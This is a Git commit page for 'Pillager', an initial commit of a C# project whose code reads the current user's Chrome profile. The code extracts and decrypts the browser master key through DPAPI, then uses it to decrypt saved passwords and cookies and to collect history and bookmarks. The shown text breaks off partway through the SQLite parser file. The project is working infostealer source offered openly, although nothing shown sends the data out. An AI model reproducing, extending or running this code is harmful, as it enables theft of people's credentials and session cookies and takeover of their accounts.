qwqdanchun
/
Pillager
mirror of https://github.com/qwqdanchun/Pillager.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

init

This commit is contained in:
qwqdanchun 2023-04-24 07:22:43 +08:00
parent 21cd973495
commit 983d3fe6fd
8 changed files with 1150 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
Pillager.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.5.33516.290
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Pillager", "Pillager\Pillager.csproj", "{2DFB5BEA-C5B3-4639-8D37-B6149D665ECA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{2DFB5BEA-C5B3-4639-8D37-B6149D665ECA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2DFB5BEA-C5B3-4639-8D37-B6149D665ECA}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2DFB5BEA-C5B3-4639-8D37-B6149D665ECA}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2DFB5BEA-C5B3-4639-8D37-B6149D665ECA}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {1D2766E9-71B8-476C-9F0C-64BE1BADC1C1}
EndGlobalSection
EndGlobal

137
Pillager/AesGcm.cs Normal file
View File

@ -0,0 +1,137 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace Pillager
{
//AES GCM from https://github.com/dvsekhvalnov/jose-jwt
internal class AesGcm
{
public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
{
IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);
byte[] plainText;
BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
using (authInfo)
{
byte[] ivData = new byte[MaxAuthTagSize(hAlg)];
int plainTextSize = 0;
uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status));
plainText = new byte[plainTextSize];
status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH)
throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status));
}
BCrypt.BCryptDestroyKey(hKey);
Marshal.FreeHGlobal(keyDataBuffer);
BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0);
return plainText;
}
private int MaxAuthTagSize(IntPtr hAlg)
{
byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH);
return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);
}
private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
{
IntPtr hAlg = IntPtr.Zero;
uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));
byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));
return hAlg;
}
private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
{
byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH);
int keyDataSize = BitConverter.ToInt32(objLength, 0);
IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));
return keyDataBuffer;
}
private byte[] GetProperty(IntPtr hAlg, string name)
{
int size = 0;
uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status));
byte[] value = new byte[size];
status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
if (status != BCrypt.ERROR_SUCCESS)
throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status));
return value;
}
public byte[] Concat(params byte[][] arrays)
{
int len = 0;
foreach (byte[] array in arrays)
{
if (array == null)
continue;
len += array.Length;
}
byte[] result = new byte[len - 1 + 1];
int offset = 0;
foreach (byte[] array in arrays)
{
if (array == null)
continue;
Buffer.BlockCopy(array, 0, result, offset, array.Length);
offset += array.Length;
}
return result;
}
}
}

159
Pillager/BCrypt.cs Normal file
View File

@ -0,0 +1,159 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pillager
{
public static class BCrypt
{
public const uint ERROR_SUCCESS = 0x00000000;
public const uint BCRYPT_PAD_PSS = 8;
public const uint BCRYPT_PAD_OAEP = 4;
public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
public static readonly string BCRYPT_AES_ALGORITHM = "AES";
public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;
public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
[DllImport("bcrypt.dll")]
public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
[MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
[MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
uint dwFlags);
[DllImport("bcrypt.dll")]
public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
[DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")]
public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
[DllImport("bcrypt.dll")]
public static extern uint BCryptImportKey(IntPtr hAlgorithm,
IntPtr hImportKey,
[MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
out IntPtr phKey,
IntPtr pbKeyObject,
int cbKeyObject,
byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
int cbInput,
uint dwFlags);
[DllImport("bcrypt.dll")]
public static extern uint BCryptDestroyKey(IntPtr hKey);
[DllImport("bcrypt.dll")]
internal static extern uint BCryptDecrypt(IntPtr hKey,
byte[] pbInput,
int cbInput,
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
byte[] pbIV,
int cbIV,
byte[] pbOutput,
int cbOutput,
ref int pcbResult,
int dwFlags);
[StructLayout(LayoutKind.Sequential)]
public struct BCRYPT_PSS_PADDING_INFO
{
public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
{
this.pszAlgId = pszAlgId;
this.cbSalt = cbSalt;
}
[MarshalAs(UnmanagedType.LPWStr)]
public string pszAlgId;
public int cbSalt;
}
[StructLayout(LayoutKind.Sequential)]
public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
{
public int cbSize;
public int dwInfoVersion;
public IntPtr pbNonce;
public int cbNonce;
public IntPtr pbAuthData;
public int cbAuthData;
public IntPtr pbTag;
public int cbTag;
public IntPtr pbMacContext;
public int cbMacContext;
public int cbAAD;
public long cbData;
public int dwFlags;
public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
{
dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
if (iv != null)
{
cbNonce = iv.Length;
pbNonce = Marshal.AllocHGlobal(cbNonce);
Marshal.Copy(iv, 0, pbNonce, cbNonce);
}
if (aad != null)
{
cbAuthData = aad.Length;
pbAuthData = Marshal.AllocHGlobal(cbAuthData);
Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
}
if (tag != null)
{
cbTag = tag.Length;
pbTag = Marshal.AllocHGlobal(cbTag);
Marshal.Copy(tag, 0, pbTag, cbTag);
cbMacContext = tag.Length;
pbMacContext = Marshal.AllocHGlobal(cbMacContext);
}
}
public void Dispose()
{
if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct BCRYPT_OAEP_PADDING_INFO
{
public BCRYPT_OAEP_PADDING_INFO(string alg)
{
pszAlgId = alg;
pbLabel = IntPtr.Zero;
cbLabel = 0;
}
[MarshalAs(UnmanagedType.LPWStr)]
public string pszAlgId;
public IntPtr pbLabel;
public int cbLabel;
}
}
}

189
Pillager/Chrome.cs Normal file
View File

@ -0,0 +1,189 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Pillager
{
public class Chrome
{
private string BrowserPath { get; set; }
private byte[] MasterKey { get; set; }
public Chrome(string Path)
{
BrowserPath = Path;
MasterKey = GetMasterKey();
}
public byte[] GetMasterKey()
{
string filePath = Path.Combine(Directory.GetParent(BrowserPath).FullName, "Local State");
byte[] masterKey = new byte[] { };
if (File.Exists(filePath) == false)
return null;
var pattern = new System.Text.RegularExpressions.Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath));
foreach (System.Text.RegularExpressions.Match prof in pattern)
{
if (prof.Success)
masterKey = Convert.FromBase64String((prof.Groups[1].Value));
}
byte[] temp = new byte[masterKey.Length - 5];
Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5);
try
{
return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser);
}
catch
{
return null;
}
}
private byte[] DecryptData(byte[] buffer)
{
byte[] decryptedData = null;
if (MasterKey is null) return null;
try
{
string bufferString = Encoding.Default.GetString(buffer);
if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11"))
{
byte[] iv = buffer.Skip(3).Take(12).ToArray();
byte[] cipherText = buffer.Skip(15).ToArray();
byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray();
cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray();
decryptedData = new AesGcm().Decrypt(MasterKey, iv, null, cipherText, tag);
}
else
{
decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser);
}
}
catch { }
return decryptedData;
}
internal string Chrome_passwords()
{
StringBuilder passwords = new StringBuilder();
string loginDataPath = Path.Combine(BrowserPath, "Login Data");
if (!File.Exists(loginDataPath))
{
return null;
}
try
{
string tempLoginDataPath = Path.GetTempFileName();
File.Copy(loginDataPath, tempLoginDataPath, true);
SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath);
if (!handler.ReadTable("logins"))
return null;
for (int i = 0; i < handler.GetRowCount(); i++)
{
string url = handler.GetValue(i, "origin_url");
string username = handler.GetValue(i, "username_value");
string crypt = handler.GetValue(i, "password_value");
string password = Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(crypt)));
if (url!=null &&url!=""&& username != null && username != "" &&
!(password is null) && password.Length > 0)
{
passwords.Append("\t[URL] -> {" + url + "}\n\t[USERNAME] -> {" + username + "}\n\t[PASSWORD] -> {" + password + "}\n");
}
}
File.Delete(tempLoginDataPath);
}
catch { }
return passwords.ToString();
}
public string Chrome_history()
{
StringBuilder history = new StringBuilder();
string chrome_History_path = Path.Combine(BrowserPath, "History");
if (!File.Exists(chrome_History_path))
{
return null;
}
try
{
string cookie_tempFile = Path.GetTempFileName();
File.Copy(chrome_History_path, cookie_tempFile, true);
SQLiteHandler handler = new SQLiteHandler(cookie_tempFile);
if (!handler.ReadTable("urls"))
return null;
for (int i = 0; i < handler.GetRowCount(); i++)
{
string url = handler.GetValue(i, "url");
history.Append("\t{" + url + "}");
}
File.Delete(cookie_tempFile);
}
catch { }
return history.ToString(); ;
}
public string Chrome_cookies()
{
StringBuilder cookies = new StringBuilder();
string chrome_cookie_path = Path.Combine(BrowserPath, "Cookies");
string chrome_100plus_cookie_path = Path.Combine(BrowserPath, "Network\\Cookies");
if (!File.Exists(chrome_cookie_path) == true) chrome_cookie_path = chrome_100plus_cookie_path;
if (!File.Exists(chrome_cookie_path))
{
return null;
}
try
{
string cookie_tempFile = Path.GetTempFileName();
File.Copy(chrome_cookie_path, cookie_tempFile, true);
SQLiteHandler handler = new SQLiteHandler(cookie_tempFile);
if (!handler.ReadTable("cookies"))
return null;
for (int i = 0; i < handler.GetRowCount(); i++)
{
string host_key = handler.GetValue(i, "host_key");
string name = handler.GetValue(i, "name");
string crypt = handler.GetValue(i, "encrypted_value");
string cookie = Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(crypt)));
cookies.Append("\t[" + host_key + "] \t {" + name + "}={" + cookie + "}");
}
File.Delete(cookie_tempFile);
}
catch { }
return cookies.ToString();
}
public string Chrome_books()
{
StringBuilder stringBuilder = new StringBuilder();
string chrome_book_path = Path.Combine(BrowserPath, "Bookmarks");
if (File.Exists(chrome_book_path))
{
stringBuilder.Append(File.ReadAllText(chrome_book_path));
}
return stringBuilder.ToString();
}
}
}

52
Pillager/Pillager.csproj Normal file
View File

@ -0,0 +1,52 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{2DFB5BEA-C5B3-4639-8D37-B6149D665ECA}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>Pillager</RootNamespace>
<AssemblyName>Pillager</AssemblyName>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Security" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="AesGcm.cs" />
<Compile Include="BCrypt.cs" />
<Compile Include="Chrome.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="SQLiteHandler.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

24
Pillager/Program.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace Pillager
{
internal class Program
{
static void Main(string[] args)
{
string chromepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Google\\Chrome\\User Data\\Default");
Chrome chrome = new Chrome(chromepath);
string cookies = chrome.Chrome_cookies();
string passwords = chrome.Chrome_passwords();
string books = chrome.Chrome_books();
string history = chrome.Chrome_history();
Console.ReadLine();
}
}
}

36
Pillager/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("Pillager")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Pillager")]
[assembly: AssemblyCopyright("Copyright © 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// 将 ComVisible 设置为 false 会使此程序集中的类型
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID
[assembly: Guid("2dfb5bea-c5b3-4639-8d37-b6149d665eca")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值
//通过使用 "*"，如下所示:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

528
Pillager/SQLiteHandler.cs Normal file
View File

@ -0,0 +1,528 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pillager
{
public class SQLiteHandler
{
private readonly byte[] db_bytes;
private readonly ulong encoding;
private string[] field_names = new string[1];
private sqlite_master_entry[] master_table_entries;
private readonly ushort page_size;
private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
private table_entry[] table_entries;
public SQLiteHandler(string baseName)
{
if (File.Exists(baseName))
{
db_bytes = File.ReadAllBytes(baseName);
if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
{
throw new Exception("Not a valid SQLite 3 Database File");
}
if (db_bytes[0x34] != 0)
{
throw new Exception("Auto-vacuum capable database is not supported");
}
//if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
//{
// throw new Exception("No supported Schema layer file-format");
//}
page_size = (ushort)ConvertToInteger(0x10, 2);
encoding = ConvertToInteger(0x38, 4);
if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
{
encoding = 1L;
}
ReadMasterTable(100L);
}
}
private ulong ConvertToInteger(int startIndex, int Size)
{
if (Size > 8 | Size == 0)
{
return 0L;
}
ulong num2 = 0L;
int num4 = Size - 1;
for (int i = 0; i <= num4; i++)
{
num2 = num2 << 8 | db_bytes[startIndex + i];
}
return num2;
}
private long CVL(int startIndex, int endIndex)
{
endIndex++;
byte[] buffer = new byte[8];
int num4 = endIndex - startIndex;
bool flag = false;
if (num4 == 0 | num4 > 9)
{
return 0L;
}
if (num4 == 1)
{
buffer[0] = (byte)(db_bytes[startIndex] & 0x7f);
return BitConverter.ToInt64(buffer, 0);
}
if (num4 == 9)
{
flag = true;
}
int num2 = 1;
int num3 = 7;
int index = 0;
if (flag)
{
buffer[0] = db_bytes[endIndex - 1];
endIndex--;
index = 1;
}
int num7 = startIndex;
for (int i = endIndex - 1; i >= num7; i += -1)
{
if (i - 1 >= startIndex)
{
buffer[index] = (byte)((byte)(db_bytes[i] >> (num2 - 1 & 7)) & 0xff >> num2 | (byte)(db_bytes[i - 1] << (num3 & 7)));
num2++;
index++;
num3--;
}
else if (!flag)
{
buffer[index] = (byte)((byte)(db_bytes[i] >> (num2 - 1 & 7)) & 0xff >> num2);
}
}
return BitConverter.ToInt64(buffer, 0);
}
public int GetRowCount()
{
return table_entries.Length;
}
public string[] GetTableNames()
{
var tableNames = new List<string>();
int num3 = master_table_entries.Length - 1;
for (int i = 0; i <= num3; i++)
{
if (master_table_entries[i].item_type == "table")
{
tableNames.Add(master_table_entries[i].item_name);
}
}
return tableNames.ToArray();
}
public string GetValue(int row_num, int field)
{
if (row_num >= table_entries.Length)
{
return null;
}
if (field >= table_entries[row_num].content.Length)
{
return null;
}
return table_entries[row_num].content[field];
}
public string GetValue(int row_num, string field)
{
int num = -1;
int length = field_names.Length - 1;
for (int i = 0; i <= length; i++)
{
if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
{
num = i;
break;
}
}
if (num == -1)
{
return null;
}
return GetValue(row_num, num);
}
private int GVL(int startIndex)
{
if (startIndex > db_bytes.Length)
{
return 0;
}
int num3 = startIndex + 8;
for (int i = startIndex; i <= num3; i++)
{
if (i > db_bytes.Length - 1)
{
return 0;
}
if ((db_bytes[i] & 0x80) != 0x80)
{
return i;
}
}
return startIndex + 8;
}
private bool IsOdd(long value)
{
return (value & 1L) == 1L;
}
private void ReadMasterTable(ulong Offset)
{
if (db_bytes[(int)Offset] == 13)
{
ushort num2 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
int length = 0;
if (master_table_entries != null)
{
length = master_table_entries.Length;
Array.Resize(ref master_table_entries, master_table_entries.Length + num2 + 1);
}
else
{
master_table_entries = new sqlite_master_entry[num2 + 1];
}
int num13 = num2;
for (int i = 0; i <= num13; i++)
{
ulong num = ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
if (decimal.Compare(new decimal(Offset), 100M) != 0)
{
num += Offset;
}
int endIndex = GVL((int)num);
long num7 = CVL((int)num, endIndex);
int num6 = GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)));
master_table_entries[length + i].row_id = CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)),
num6);
num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))), decimal.One));
endIndex = GVL((int)num);
num6 = endIndex;
long num5 = CVL((int)num, endIndex);
long[] numArray = new long[5];
int index = 0;
do
{
endIndex = num6 + 1;
num6 = GVL(endIndex);
numArray[index] = CVL(endIndex, num6);
if (numArray[index] > 9L)
{
if (IsOdd(numArray[index]))
{
numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0);
}
else
{
numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0);
}
}
else
{
numArray[index] = SQLDataTypeSize[(int)numArray[index]];
}
index++;
} while (index <= 4);
if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
{
master_table_entries[length + i].item_type = Encoding.UTF8.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
}
else if (decimal.Compare(new decimal(encoding), 2M) == 0)
{
master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
}
else if (decimal.Compare(new decimal(encoding), 3M) == 0)
{
master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
}
if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
{
master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes,
Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]);
}
else if (decimal.Compare(new decimal(encoding), 2M) == 0)
{
master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes,
Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]);
}
else if (decimal.Compare(new decimal(encoding), 3M) == 0)
{
master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes,
Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]);
}
master_table_entries[length + i].root_num =
(long)ConvertToInteger(
Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])),
new decimal(numArray[2]))), (int)numArray[3]);
if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
{
master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes,
Convert.ToInt32(decimal.Add(
decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])),
new decimal(numArray[3]))), (int)numArray[4]);
}
else if (decimal.Compare(new decimal(encoding), 2M) == 0)
{
master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes,
Convert.ToInt32(decimal.Add(
decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])),
new decimal(numArray[3]))), (int)numArray[4]);
}
else if (decimal.Compare(new decimal(encoding), 3M) == 0)
{
master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes,
Convert.ToInt32(decimal.Add(
decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])),
new decimal(numArray[3]))), (int)numArray[4]);
}
}
}
else if (db_bytes[(int)Offset] == 5)
{
ushort num11 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
int num14 = num11;
for (int j = 0; j <= num14; j++)
{
ushort startIndex = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
if (decimal.Compare(new decimal(Offset), 100M) == 0)
{
ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One), new decimal(page_size))));
}
else
{
ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(page_size))));
}
}
ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One),
new decimal(page_size))));
}
}
public bool ReadTable(string TableName)
{
int index = -1;
int length = master_table_entries.Length - 1;
for (int i = 0; i <= length; i++)
{
if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
{
index = i;
break;
}
}
if (index == -1)
{
return false;
}
